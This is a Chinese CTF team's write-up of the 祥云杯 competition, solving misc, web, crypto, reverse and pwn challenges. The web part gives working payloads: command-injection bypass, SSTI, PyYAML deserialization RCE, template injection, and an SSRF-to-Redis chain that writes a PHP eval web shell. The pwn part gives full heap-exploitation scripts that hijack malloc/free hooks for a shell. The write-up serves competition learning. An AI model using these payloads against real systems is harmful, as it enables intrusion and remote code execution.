祥云杯 By 天璇Merak

祥云杯 By 天璇Merak


Misc

签到

base64

到点了

1里面隐藏字符 提示8位密码
2 有密码
3 zip打开发现有4.bmp
2利用docx2john进行爆破


打开压缩包下面有一层隐藏的字符
可以粘贴出来 发现是培根密码
在docx配置文件发现提示wb4stego
下载软件直接利用 培根密码解密的密文当密钥
然后得到flag

xixixi

文件是一个磁盘镜像,使用winhex可以在里面找到一个kejin.png和两个python脚本

其中一个脚本是用来把原图片分成58份,并将后57份异或加密后藏在磁盘里的
其中kenjin.png就是第一份
另一个脚本中的FATParser类的Cluster2DataOff方法可以通过cluster来找到下一部分文件的偏移地址

通过观察加密脚本,可以看出来通过每一份文件的最后四个字节可以得到下一份文件的cluster
从而可以得到下一份文件的偏移地址和加密密钥

由此可以写出脚本:

import struct
import xixi
import binascii

vhd = xixi.FAT32Parser('new.vhd')
file = open('new.vhd', 'rb')
flag = open('flag.png', 'wb')
file.read(0x27bae00)
flag.write(file.read(8))

def readData(n, key):
    data = file.read(n)
    li = []
    for i in data:
        temp = i ^ (key & 0xfe)
        li.append(temp)
    tpl = tuple(li)
    return bytes(tpl)

if __name__ == '__main__':
    key = 0
    for i in range(59):
        data1 = readData(8, key)
        a = struct.unpack('>I4s', data1)[0]
        b = struct.unpack('>I4s', data1)[1]
        data2 = readData(a, key)
        crc1 = struct.unpack('>I', readData(4, key))[0]
        crc2 = binascii.crc32(b + data2) & (0xffffffff)
        if crc1 != crc2:
            cluster = struct.unpack('<I', struct.pack('>I', crc1))[0]
            key = cluster & 0xfe
            offset = vhd.Cluster2DataOff(cluster)
            file.seek(offset)
        data3 = struct.pack('>I', a) + b + data2 + struct.pack('>I', crc2)
        flag.write(data3)

恢复出原图片,图片上就能找到flag

进制反转

下载下来是一个rar压缩包,打开显示里面的文件头损坏且文件被加密
显然是rar伪加密,使用010editor找到加密位,把1改成0,即可打开压缩包

解压出来是一个wav文件,但是打不开
这里我使用了wav repairer恢复了wav文件头,就可以播放了
但播放出来的像是反向的
用audacity打开文件,把音频改成反向,就可以听见歌了

根据歌名就是flag的提示,使用听歌识曲或者直接听歌词然后百度就能得到flag

带音乐家

midi文件通过搜索发现一种编程语言叫做velato
然后下载编译器直接编译得到了exe
之后运行发现了 压缩包密码
同时打开RAR发现注释处有奇怪的空格,复制到notepad发现了摩斯密码
AESKEY9219232322
然后进入docx隐藏字符里面有aes密文
aes解密就可以得到flag了

Web

Command

经典Bypass RCE了
sort /etc/.findf???/???.txt 过滤空格直接换成不可见字符就行 %09
最终payload

127.0.0.1|sort%09/etc/.find????/f??g.txt

flaskbot

SSTI + 猜测nan
读源码提示日志
payload:

{{' '.__class__.__mro__[2].__subclasses__()[40]('/app/app.py').read()}}

直接拿log中的 pin码

在debug界面RCE就行

easygogogo

进入页面可以看出是一个文件上传
上传头像头看/show页面读回显
之后由于它用cookie保存的
直接上传时就可以进行目录穿越
../../../../flag就可以了
但是上传之后会覆盖flag的内容
重启容器之后先随便上传一个(貌似是show的前置条件)
所以获得session后重启容器
打进去就可以了

doyouknowssrf

和GACTF基本一样的题目
前面parse_url绕过进行SSRF到5000端口,然后提示盲打内网
直接打6379发现存在Redis
因为只能http协议考虑直接写shell进
利用gopherus生成的gopher协议改http协议的改一改

http://eci-2ze5a6nc0glno2pn1g5v.cloudeci1.ichunqiu.com/?url=http://root:root@127.0.0.1:5000@y1ng.vip/?url=http://127.0.0.1:6379?%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252432%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2fvar%2fwww%2fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

写到根目录下shell

profile system

通过session格式得知是python,猜测pyyaml处理yaml文件,网搜反序列化漏洞。
从应用Download链接尝试路径穿越,获取到app.py源码,得到secret_key

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = os.path.join(os.curdir, "uploads")
app.config['SECRET_KEY'] = 'Th1s_is_A_Sup333er_s1cret_k1yyyyy'

可以构造session
核心逻辑

if session['priviledge'] =='elite' and os.path.isfile(realpath):
        try:
            with open(realpath,'rb') as f:
                data = f.read()
                if not re.fullmatch(b"^[ -\-/-\]a-}\n]*$",data, flags=re.MULTILINE):
                    info = {'user': 'elite-user'}
                    flash('Sth weird...')
                else:
                    info = yaml.load(data)
                if info['user'] == 'Administrator':
                    flash('Welcome admin!')
                else:
                    raise ()
        except:
            info = {'user': 'elite-user'}
    else:
        info = {'user': 'guest'}
    return render_template("view.html",user = info['user'])

数据不能出网,用刚才的路径穿越来读,因此构造yaml如下
\x2e bypass .

!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "\x5f\x5fimport\x5f\x5f('os')\x2esystem(' /readflag > \x2e/uploads/ekisb')"

easyzzz

cve 绕过if
zzzRCE /search/处模板注入命令执行
经过测试发现过滤了if和一些函数(替换成*)
于是采取base_convert绕过,但是base_convert不能处理/,于是在此之前需要一步hex2bin

echo base_convert(bin2hex("/flag"),16,10);
# 203581841767
echo hex2bin(base_convert(203581841767,10,16));
# /flag

原payload

keys={if:array_map(base_convert(27440799224,10,32),array(1))}{end if}

修改后

{{leftstr:i,1}{leftstr:f,1}:array_map(show_source(hex2bin(base_convert(203581841767,10,16))),array(1))}{end {leftstr:i,1}{leftstr:f,1}}

D8xKTs.md.png

Crypto

Exposure

利用dp构造partial p,爆破k,CopperSmith即可
即有 $d_ppart<<200 + x = d_p$
$d_p * e \equiv 1 \mod p-1$
$e (d_ppart<<200 + x) -1=k(p-1)$
$k^{-1}(e (d_ppart<<200 + x) - 1) +1\equiv p \mod n, k\in [1, e]$

from Crypto.Util.number import *
from tqdm import tqdm

dp_part = 
c = 
n = 

R.<x> = PolynomialRing(Zmod(n))

e = 7621

kbits = 200

for k in tqdm(range(1, e+1)):
    f = ((x + dp_part*(2**200)) * e - 1) * inverse(k, n) + 1
    solve = f.monic().small_roots(X=2 ^ 200, beta=0.4)
    if len(solve) > 0:
        print(solve[0])
        p = GCD(((int(solve[0]) + dp_part*(2**200)) * e - 1) * inverse(k, n) + 1, n)

        q = n // p
        assert n == p * q
        phi = (p - 1) * (q - 1)
        d = inverse(e, phi)
        tmp = pow(c, d, n)
        print(long_to_bytes(tmp))
        input()

more_calc

p太大了,flag太短,直接在p上RSA即可

from Crypto.Util.number import *

p = 
c = 

e = 0x10001
print(long_to_bytes(pow(c, inverse(e, p-1), p)))

RSAssss

由于存在非常接近的两个根p(q+x),q(p+y),可以直接使用fermat算法分解出,然后爆破x,y解方程即可

from Crypto.Util.number import *
from gmpy2 import *
from math import *
from z3 import *

def fermat_factor_simple(n, deepth=2 ** 25):
    x0 = ceil(int(iroot(n, 2)[0])) + 1
    tmp = x0 ** 2 - n
    for i in tqdm(range(deepth)):
        if iroot(tmp, 2)[1]:
            y = int(iroot(tmp, 2)[0])
            x = int(iroot(tmp + n, 2)[0])
            return x + y, x - y
        else:
            tmp = tmp + 2 * x0 + 1 + i * 2
    print('No solution')

n, c = , 
e = 0x10001

f1 = fermat_factor_simple(n)[0]
f2 = n//f1
p = Int('p')
q = Int('q')

# px1 - qx2
tmp = f1 - f2
assert f1 > f2

# px1 + qx2 + 2pq
tmp2 = tmp**2
q_x = 
assert f1 % q_x == 0
p = f1 // q_x
q = f2//next_prime(p)
assert f2 % q == 0

phi = (p-1) * (q-1) * (next_prime(p)-1) * (next_prime(q)-1)
d = inverse(e, phi)
print(long_to_bytes(pow(c, d, n)))

'''for x1 in tqdm(range(2, 3000, 2)):
    for x2 in range(2, 3000, 2):
        if x1 == x2:
            continue

        check = tmp - x1 * x2
        judge = (check ** 2) + 4 * f1 * x1 * x2

        if iroot(judge, 2)[1]:
            solve(p * x1 - q * x2 == tmp, p*(q+x1) == f1)
            tmp2 = int(iroot(judge, 2)[0])
            then = tmp + tmp2
            if gcd(then, f1) > 1:
                print(gcd(then, f1))
                input()'''

simpleRSA

Wiener Attak, 改下位数限制条件即可找出d

def rational_to_quotients(x, y):  # calculate the series of continued fraction
    a = x // y
    quotients = [a]
    while a * y != x:
        x, y = y, x - a * y
        a = x // y
        quotients.append(a)
    return quotients

def convergents_from_quotients(quotients):  # calculate the convergent series of continued fraction
    convergents = [(quotients[0], 1)]
    for i in range(2, len(quotients) + 1):
        quotients_partion = quotients[0:i]
        denom = quotients_partion[-1]  # 分母
        num = 1
        for _ in range(-2, -len(quotients_partion), -1):
            num, denom = denom, quotients_partion[_] * denom + num
        num += denom * quotients_partion[0]
        convergents.append((num, denom))
    return convergents

def WienerAttack(e, n):
    quotients = rational_to_quotients(e, n)
    convergents = convergents_from_quotients(quotients)
    for (k, d) in convergents:
        if k and not (e * d - 1) % k:
            phi = (e * d - 1) // k
            if 256>=int(d).bit_length() >=250:
                return d
n = 
e = 
c = 
d = WienerAttack(e, n)
print(long_to_bytes(pow(c, d, n)))

easy matrix

基础LWE,直接套了N1ctf官方的板子

import numpy as np
from sage.stats.distributions.discrete_gaussian_integer import DiscreteGaussianDistributionIntegerSampler as DGDIS
from sage.modules.free_module_integer import IntegerLattice

def CVP(lattice, target):
    gram = lattice.gram_schmidt()[0]
    t = target
    for i in reversed(range(lattice.nrows())):
        c = ((t * gram[i]) / (gram[i] * gram[i])).round()
        t -= lattice[i] * c
    return target - t

matrix = np.load('./matrix.npy')
result = np.load('./result.npy')
tmp = [[] for _ in range(128)]
for i in range(128):
    for j in range(42):
        tmp[i].append(int(matrix[i][j]))
matrix = tmp

res = [int(i) for i in result]

module = 2129
row = 128
column = 42
M = Matrix(ZZ, row + column, row)

for i in range(row):
    for j in range(column):
        M[row + j, i] = int(matrix[i][j])
    M[i, i] = module

print('Got Good Basis')
lattice = IntegerLattice(M, lll_reduce=True)
target = vector(ZZ, res[:row])
res = CVP(lattice.reduced_basis, target)
print('Got CVP')
R = IntegerModRing(module)
M = Matrix(R, matrix[:row])
tmp = M.solve_right(res)
print(''.join([chr(i) for i in tmp]))

blowfishgame

CBC模式任意明文攻击,直接逐字节爆破即可
由于可以指定解密的iv,直接使$iv = SendIV \otimes "Blowfish" \otimes "get_flag"$,即可进入get flag选项,之后输入8*k-i个a,即可将第i个flag字符置于最后一个区块尾部,然后逐个字节爆破,比较每次得到的密文前k个block即可

from pwn import *
from Crypto.Util.number import *
from hashlib import sha384
from base64 import *
from tqdm import tqdm
import string

# context.log_level = 'debug'
bk = 8

def pass_proof():
    p.recvuntil('sha384(XXX+')
    rest = p.recv(17)
    p.recvuntil('== ')
    check_hash = p.recv(96)
    p.recvuntil('Give me XXX:')
    for a in range(0x10, 0x7f):
        for b in range(0x10, 0x7f):
            for c in range(0x10, 0x7f):
                tmp = chr(a) + chr(b) + chr(c)
                if sha384(tmp.encode() + rest).hexdigest() == check_hash.decode():
                    p.sendline(tmp)
                    print('Pass the Proof')
                    return

p = remote('8.131.69.237', 15846)
pass_proof()
p.recvuntil(',_|\n\n')
cipher = b64decode(p.recv(32))
send_IV = cipher[:bk]
enc_blow = cipher[bk:]
get_flag_iv = long_to_bytes(bytes_to_long(send_IV) ^ bytes_to_long(b'Blowfish') ^ bytes_to_long(b'get_flag'))
get_flag = b64encode(get_flag_iv + enc_blow).decode()

flag = ''
strange = 0
for i in tqdm(range(len(flag), 42)):
    p.sendline(get_flag)
    p.sendline('a' * (48-1-i))
    if strange == 0:
        p.recvline()
        strange = 1
    check = b64decode(p.recvline()[:-1])[:48]
    for char in string.printable:
        p.sendline(get_flag)
        p.sendline('a' * (48-1 - len(flag)) + flag + char)
        judge = b64decode(p.recvline()[:-1])[:48]
        if judge == check:
            flag += char
            print('flag ->', flag)
            break

Reverse

apk1

apk打开找到so发现导出了check1函数,然而是假的,再jni_load的注册代码中找到真正的check函数
然后分析代码可以看出是DES+RC4,DES的某些参数似乎被改了,动调
发现直接把密钥流反着喂回去就行,刚好生成密钥的地方提供了个选项,直接把0改1
然后解密就可以得到数据,再拿去RC4解密后的结果就是flag

re1

直接动调,输入,发现结果可以单字节爆破,然后直接枚举0-9,a-f对应的加密后的结果
dump出来反过来置换即可

a=[0xEB,0xF1,0x19,0xE8,0x1E,0x1E,0xF0,0xEC,0xEF,0x1E,0xE9,0x1E,0xEC,0xEC,0xE8,0xEC,0x19,0x19,0xEE,0x1B,0xEF,0xEF,0xEC,0xEA,0x1C,0xEA,0xE8,0xEB,0xEE,0xEB,0x1D,0xF1]
def change(x):
    if x>=0xE8 and x<=0xF1:
        return chr(x-0xE8+ord('0'))
    if x>=0x19 and x<=0x1E:
        return chr(x-0x19+ord('a'))
flag=""
for i in range(32):
    flag+=change(a[i])
assert len(flag)==32
print("flag{"+flag+"}")

Pwn

Beauty_Of_ChangChun

calloc会越过tcache申请trunk,free里当size=0x100时存在uaf漏洞,可以和edit结合不断free0块填满tcache,然后制造两个unsorted块,malloc_consolidate再放到smallbin里,修改第二个trunk的bk为flag块-0x10,malloc申请掉tcache,再calloc申请smallbin时触发unlink把smallbin放回tcache,victim->bk->fd=victim->fd,把flag块前面的随机数改成__main_arena+352,比较得flag

#coding:utf-8

from pwn import *
import subprocess, sys, os
sla = lambda x, y : p.sendlineafter(x, y)
sa = lambda x, y : p.sendafter(x, y)

elf_path = './pwn'
ip = '112.126.71.170'
port = 43652
remote_libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
local_libc_x86_path = '/lib/i386-linux-gnu/libc.so.6'
local_libc_x64_path = '/lib/x86_64-linux-gnu/libc.so.6'

context(os='linux', arch='amd64')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

local = 0
if local == 1:
    p = process(elf_path)
    if context.arch == 'amd64':
        libc = ELF(local_libc_x64_path)
    else:
        libc = ELF(local_libc_x86_path)
else:
    p = remote(ip, port)
    libc = ELF(remote_libc_path)

def debug(cmd = 'stack'):
    gdb.attach(p)
    pause()

def one_gadget(filename = remote_libc_path):
    return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))

def chose(idx):
    sla('4: Enjoy scenery', str(idx))
def add(size = 0x100):
    chose(1)
    sla('size:', str(size))
def free(idx = 0):
    chose(2)
    sla('idx:', str(idx))
def edit(idx = 0, chat = 'a' * 8):
    chose(3)
    sla('idx:', str(idx))
    sa('chat:', chat)
def show(idx):
    chose(4)
    sla('idx:', str(idx))
    p.recvuntil('see\n')
    return u64(p.recvline()[:-1].ljust(8, '\x00'))

p.recvuntil('A gift from ChangChun People\n')
buf = int(p.recv(12), 16)

add()
for i in range(7):
    free()
    edit()
add(0x80)
free(1)
add()
add(0x80)
free(2)
free(0)
free(1)
heap = show(1)
libc = show(0)# + 0x100 - 352 - 0x1EBB80
chose(666)
success('libc:0x%x'%libc)
success('heap:0x%x'%heap)
payload = flat(heap, heap + 0x7fffe7b89430 - 0x7fffe7b89290 + 0x20, 0, 0x111, buf, 0)
#edit(1, payload)
edit(0, p64(0))
chose(5)
sleep(0.1)
p.send('123')
payload = flat(libc, heap + 0x7fffe7b89430 - 0x7fffe7b89290)
edit(0, payload)
payload = flat(heap, buf - 0x10)
edit(1, payload)
add()
edit(2, p64(libc + 0x100))
chose(5)
sleep(0.1)
sla('input idx', '2')
#add()
#add()
#debug()
#free(1)
'''
chose(666)
payload = p64(0) + p64(buf - 0x10)
edit(0, payload)
add()
'''
p.interactive()
p.close()

garden

利用0x20块把合并的unsorted bin错位,构造fake trunk,再用uaf的指针释放该块,并且修改fd指向__free_hook,修改为system,最后free一个/bin/sh\x00块

#coding:utf-8

from pwn import *
import subprocess, sys, os
sla = lambda x, y: p.sendlineafter(x, y)
sa = lambda x, y: p.sendafter(x, y)

elf_path = './garden'
ip = '8.131.69.237'
port = 32452
remote_libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
local_libc_x86_path = '/lib/i386-linux-gnu/libc.so.6'
local_libc_x64_path = '/lib/x86_64-linux-gnu/libc.so.6'

context(os='linux', arch='amd64')
#context.log_level = 'debug'

local = 0
if local == 1:
    p = process(elf_path)
    if context.arch == 'amd64':
        libc = ELF(local_libc_x64_path)
    else:
        libc = ELF(local_libc_x86_path)
else:
    p = remote(ip, port)
    libc = ELF(remote_libc_path)

def debug(cmd):
    gdb.attach(p,cmd)
    pause()

def one_gadget(filename = remote_libc_path):
    return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))

def chose(idx):
    sla('>> ', str(idx))
def add(idx, name = '\n'):
    chose(1)
    sla('tree index?', str(idx))
    sla('name?', name)
def free(idx):
    chose(2)
    sla('tree index?', str(idx))
def show(idx):
    chose(3)
    sla('tree index?', str(idx))
    p.recv(1)
    return u64(p.recv(6).ljust(8, '\x00'))
def free_uaf(idx):
    chose(5)
    sla('which tree do you want to steal?', str(idx))

for i in range(9):
    add(i)
for i in range(7):
    free(i+2)
free_uaf(1)
libc = show(1) - 0x1E4C30 - 96 - 0x10
success("0x%x"%libc)
free(0)
chose(6)

add(8, '/bin/sh\x00')
for i in range(6):
    add(7-i)
payload = 'a'*0xd0 + flat(0, 0x111)
add(0, payload)
#free(1)
#payload = '\x00'*0x20 + flat(0, 0x111)
#add(1, payload)

free(2)
free(3)
free(4)
free(5)

free(1)
free(0)
free_hook = libc + 0x1e75a8
payload = 'a'*0xd0 + flat(0, 0x111, free_hook, 0)
add(0, payload)
add(1)
#one = one_gadget()
#print one
sys = libc + 0x52fd0
puts = libc + 0x83cc0
add(2, p64(sys))
free(8)

p.interactive()
p.close()

babypwn

init重置0x88的块后存在uaf漏洞,修改指针实现任意写,show泄露libc,修改malloc_hook为one_gadget即可

#coding:utf-8

from pwn import *
import subprocess, sys, os
sla = lambda x, y: p.sendlineafter(x, y)
sa = lambda x, y: p.sendafter(x, y)

elf_path = './pwn'
ip = '8.131.69.237'
port = 52642
remote_libc_path = './libc-2.23.so'
local_libc_x86_path = '/lib/i386-linux-gnu/libc.so.6'
local_libc_x64_path = '/lib/x86_64-linux-gnu/libc.so.6'

context(os='linux', arch='amd64')
context.log_level = 'debug'

local = 0
if local == 1:
    p = process(elf_path)
    if context.arch == 'amd64':
        libc = ELF(local_libc_x64_path)
    else:
        libc = ELF(local_libc_x86_path)
else:
    p = remote(ip, port)
    libc = ELF(remote_libc_path)

def debug(cmd):
    gdb.attach(p,cmd)
    pause()

def one_gadget(filename = remote_libc_path):
    return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))

def chose(idx):
    sla('choice:', str(idx))
def add(size = 0x88):
    chose(3)
    sla('size:', str(size))
def set(content):
    chose(4)
    sla('content:', content)
def show():
    chose(5)
    p.recvuntil('show:\n')

chose(1)
chose(2)
add()
show()
p.recv(8)
heap = u64(p.recv(8))
success('heap : 0x%x'%heap)

one = one_gadget()
chose(1)
add()
show()
libc = u64(p.recv(8)) - 88 - 0x10 - 0x3C4B10
sys = libc + 0x453a0
success('libc : 0x%x'%libc)
#heap - 0x614cf0 + 0x614c40
payload = flat(0, libc + 0x3C4B10)
set(payload)
set(p64(libc + one[1]))
chose(1)

p.interactive()
p.close()

影流之主

glob和globfree函数会产生一堆的bin,申请一个unsorted bin分割出来的块后leak libc,uaf修改malloc_hook为one_gadget

#coding:utf-8

from pwn import *
import subprocess, sys, os
sl = lambda x : p.sendline(x)
se = lambda x : p.send(x)

elf_path = './pwn'
ip = '112.126.71.170'
port = 45123
remote_libc_path = './libc6_2.23-0ubuntu11.2_amd64.so'
local_libc_x86_path = '/lib/i386-linux-gnu/libc.so.6'
local_libc_x64_path = '/lib/x86_64-linux-gnu/libc.so.6'

context(os='linux', arch='amd64')
context.log_level = 'debug'

local = 0
if local == 1:
    p = process(elf_path)
    if context.arch == 'amd64':
        libc = ELF(local_libc_x64_path)
    else:
        libc = ELF(local_libc_x86_path)
else:
    p = remote(ip, port)
    libc = ELF(remote_libc_path)

def debug(cmd):
    gdb.attach(p,cmd)
    pause()

def one_gadget(filename = remote_libc_path):
    return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))

def chose(idx):
    sleep(0.1)
    sl(str(idx))
def add():
    chose(1)
def free(idx):
    chose(2)
    sleep(0.1)
    sl(str(idx))
def edit(idx, content):
    chose(3)
    sleep(0.1)
    sl(str(idx))
    sleep(0.1)
    se(content)
def show(idx):
    chose(4)
    sleep(0.1)
    sl(str(idx))
'''
add()#0
add()#1
free(0)
edit(0, p64(0x60203d))
add()#2 = 0
add()#3 -> fake

payload  = '\x00'*19
payload += flat(0x601FB0)
edit(3, payload)
show(0)
libc = u64(p.recv(6).ljust(8, '\x00'))
success('0x%x'%libc)
'''

sl('5')
sl('./*')
add()#0
show(0)
hook = u64(p.recv(6).ljust(8, '\x00')) - 88 - 0x10
libc = hook - 0x3c4b10
free_hook = libc + 0x3c67a8
success('0x%x'%libc)
sys = libc + 0x0453a0
puts = libc + 0x6f6a0
one = one_gadget()
print one
free(0)
edit(0, p64(hook - 0x13))
add()
add()
edit(2, '\x00'*3 + p64(libc + one[3]))
sleep(0.1)
add()

p.interactive()
p.close()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇